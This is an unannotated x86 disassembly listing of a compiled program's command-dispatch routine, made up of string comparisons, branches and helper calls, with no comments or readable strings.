push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40a90d
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x40aa7d
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40a930
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x40a94d
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x4202a0
call fcn.0041ec2d
add esp, 0x10
test eax, eax
je 0x40a9f5
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40a986
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59dcee
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40a9bb
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40a9f0
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x40aa7d
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40aa13
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59dd17
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40aa48
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40aa7d
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x40aa82
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40aaa0
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59dd40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40ac0a
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40aae1
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 2
cmp eax, ecx
jl 0x40ab07
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x38]
mov eax, dword [ebx]
test eax, eax
jne 0x40ab24
mov eax, 0x4fd3e4
push eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x40ab3a
mov eax, 0x4fd3e4
push eax
push 2
mov ebx, 0x4202c0
call fcn.0041ec2d
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40ab6b
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 2
cmp eax, ecx
jl 0x40ab91
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
mov ebx, dword [ebp - 0x38]
push dword [ebx]
push 0x59dd47
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59dd55
mov ecx, 4
call fcn.0040110c
add esp, 0x10
mov dword [ebp - 0x3c], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x40abd0
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x40ac05
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x40ac0a
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40ac28
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59dd77
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40b0b7
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40ac69
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
je 0x40ac8f
push eax
mov ebx, eax
call fcn.004010a1
inc eax
push eax
call fcn.0041ec15
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x5e2b98]
test ebx, ebx
je 0x40aca3
push ebx
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [0x5e2b98], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40acbe
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 0x34]
push 2
mov ebx, 0x41ef50
call fcn.0041ec2d
add esp, 0x1c
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jne 0x40ad3e
push reloc.WS2_32.dll_connect
push 0
push 0x59dd7c
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x40ad6e
push reloc.WS2_32.dll_connect
push 0
push 0x59dd95
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40ad83
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 0x34]
push 2
mov ebx, 0x41ef50
call fcn.0041ec2d
add esp, 0x1c
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jne 0x40ae03
push reloc.WS2_32.dll_connect
push 0
push 0x59ddb2
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x40ae33
push reloc.WS2_32.dll_connect
push 0
push 0x59ddcb
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40ae48
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x34]
push 2
mov ebx, 0x41ef50
call fcn.0041ec2d
add esp, 0x1c
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 4
jne 0x40aec8
push reloc.WS2_32.dll_connect
push 0
push 0x59dde8
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x40aef8
push reloc.WS2_32.dll_connect
push 0
push 0x59de01
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40af0d
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 0x10
push 0x80000301
push 0
push dword [ebp - 0x34]
push 2
mov ebx, 0x41ef50
call fcn.0041ec2d
add esp, 0x1c
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x10
jne 0x40af8d
push reloc.WS2_32.dll_connect
push 0
push 0x59de1e
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x40afbd
push reloc.WS2_32.dll_connect
push 0
push 0x59de33
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40afd2
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 0x20
push 0x80000301
push 0
push dword [ebp - 0x34]
push 2
mov ebx, 0x41ef50
call fcn.0041ec2d
add esp, 0x1c
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x20
jne 0x40b052
push reloc.WS2_32.dll_connect
push 0
push 0x59de4c
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x40b082
push reloc.WS2_32.dll_connect
push 0
push 0x59de65
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
push reloc.WS2_32.dll_connect
push 0
push 0x59de82
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x40b0b7
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40b0d5
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59dea9
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40b2b6
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40b116
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59deb4
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40b218
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b14e
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 0x34]
push 2
mov ebx, 0x41ef50
call fcn.0041ec2d
add esp, 0x1c
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jne 0x40b19e
jmp 0x40b213
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b1b3
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x3c], eax
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
fadd qword [0x59debd]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
call fcn.00405e32
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b200
mov eax, 0x4fd3e4
push eax
push 2
mov ebx, 0x420330
call fcn.0041ec2d
add esp, 0x1c
jmp 0x40b2b1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b22d
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 0x34]
push 2
mov ebx, 0x41ef50
call fcn.0041ec2d
add esp, 0x1c
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jne 0x40b2b1
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b299
mov eax, 0x4fd3e4
push eax
push 2
mov ebx, 0x420330
call fcn.0041ec2d
add esp, 0x1c
jmp 0x40b2b1
jmp 0x40b2b6
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40b2d4
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59dec5
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40b4b5
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40b315
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59ded0
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40b417
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b34d
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 0x34]
push 2
mov ebx, 0x41ef50
call fcn.0041ec2d
add esp, 0x1c
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jne 0x40b39d
jmp 0x40b412
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b3b2
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x3c], eax
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
fadd qword [0x59ded9]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
call fcn.00405e32
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b3ff
mov eax, 0x4fd3e4
push eax
push 2
mov ebx, 0x420330
call fcn.0041ec2d
add esp, 0x1c
jmp 0x40b4b0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b42c
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 0x34]
push 2
mov ebx, 0x41ef50
call fcn.0041ec2d
add esp, 0x1c
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jne 0x40b4b0
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b498
mov eax, 0x4fd3e4
push eax
push 2
mov ebx, 0x420330
call fcn.0041ec2d
add esp, 0x1c
jmp 0x40b4b0
jmp 0x40b4b5
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40b4d3
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59dee1
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40b6b4
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40b514
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59deec
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40b616
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b54c
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x34]
push 2
mov ebx, 0x41ef50
call fcn.0041ec2d
add esp, 0x1c
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 4
jne 0x40b59c
jmp 0x40b611
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b5b1
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x3c], eax
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
fadd qword [0x59def5]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
call fcn.00405e32
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b5fe
mov eax, 0x4fd3e4
push eax
push 2
mov ebx, 0x420330
call fcn.0041ec2d
add esp, 0x1c
jmp 0x40b6af
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b62b
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x34]
push 2
mov ebx, 0x41ef50
call fcn.0041ec2d
add esp, 0x1c
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 4
jne 0x40b6af
push 0x80000301
push 0
push 3
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b697
mov eax, 0x4fd3e4
push eax
push 2
mov ebx, 0x420330
call fcn.0041ec2d
add esp, 0x1c
jmp 0x40b6af
jmp 0x40b6b4
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40b6d2
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59defd
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40b8e3
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40b713
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59df08
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40b815
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b74b
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 0x20
push 0x80000301
push 0
push dword [ebp - 0x34]
push 2
mov ebx, 0x41ef50
call fcn.0041ec2d
add esp, 0x1c
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x20
jne 0x40b79b
jmp 0x40b810
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b7b0
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x3c], eax
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
fadd qword [0x59df11]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
call fcn.00405e32
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b7fd
mov eax, 0x4fd3e4
push eax
push 2
mov ebx, 0x420330
call fcn.0041ec2d
add esp, 0x1c
jmp 0x40b8ae
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b82a
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420300
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 0x20
push 0x80000301
push 0
push dword [ebp - 0x34]
push 2
mov ebx, 0x41ef50
call fcn.0041ec2d
add esp, 0x1c
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x20
jne 0x40b8ae
push 0x80000301
push 0
push 0x1f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5e2b98]
test eax, eax
jne 0x40b896
mov eax, 0x4fd3e4
push eax
push 2
mov ebx, 0x420330
call fcn.0041ec2d
add esp, 0x1c
jmp 0x40b8ae
push reloc.WS2_32.dll_connect
push 0
push 0x59df19
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x40b8e3
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40b901
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59df40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40bc1b
push reloc.WS2_32.dll_connect
push 0
push 0x59df49
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
push 0
push 0x3e8
push 0xffffffffffffffff
push 8
push 0x16010236
push 0x52010001
call fcn.0041ec45
add esp, 0x18
mov dword [0x5e2b9c], 1
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40b999
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d73b
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40b9cb
mov dword [0x5e2ba0], 1
jmp 0x40b9d5
mov dword [0x5e2ba0], 0
push 0x80000301
push 0
push 0
push 1
mov eax, 2
mov ebx, 0x46b1a0
call fcn.0041ec39
add esp, 0x10
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x18]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40ba1d
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40ba19
imul eax, dword [ebx]
jmp 0x40ba0e
mov ecx, eax
test ecx, ecx
je 0x40ba3c
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x40ba35
push ebx
push eax
call fcn.0041ec1b
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40ba23
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x18]
call fcn.00406b43
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x40bb59
cmp dword [0x5e2b9c], 0
je 0x40bb1c
mov ebx, dword [ebp - 0x18]
call fcn.00406acc
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x40ba91
push 4
call fcn.0041ec21
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40baa4
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x4fd423
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 2
cmp eax, ecx
jl 0x40bae4
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x3c], ebx
push dword [ebp - 0x3c]
lea eax, [ebp - 0x38]
push eax
call fcn.0041403c
mov ebx, eax
test ebx, ebx
je 0x40bb07
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40bb17
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x40bb51
push reloc.WS2_32.dll_connect
push 0
push 0x59df7b
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x40fb92
pop eax
pop ebx
pop ecx
jmp 0x40ba59
add esp, 0xc
mov dword [0x5e2b9c], 0
push 0
push 0
push 0xffffffffffffffff
push 8
push 0x16010236
push 0x52010001
call fcn.0041ec45
add esp, 0x18
push dword [0x5e2b58]
push 0x59d5f5
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x34], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40bbb1
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40bbe6
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x59df7b
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x40bc1b
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40bc39
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59dfa4
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40bd1b
mov dword [0x5e2b9c], 0
push 0
push 0
push 0xffffffffffffffff
push 8
push 0x16010236
push 0x52010001
call fcn.0041ec45
add esp, 0x18
push dword [0x5e2b58]
push 0x59d5f5
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x34], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40bcb1
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40bce6
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x59dfad
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x40bd1b
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40bd39
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59dfd2
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40bfc6
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40bd7a
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x40bd97
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x420350
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x40be49
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40bdd5
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59dfd7
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59dfec
mov ecx, 3
call fcn.0040110c
add esp, 0xc
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40be0f
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
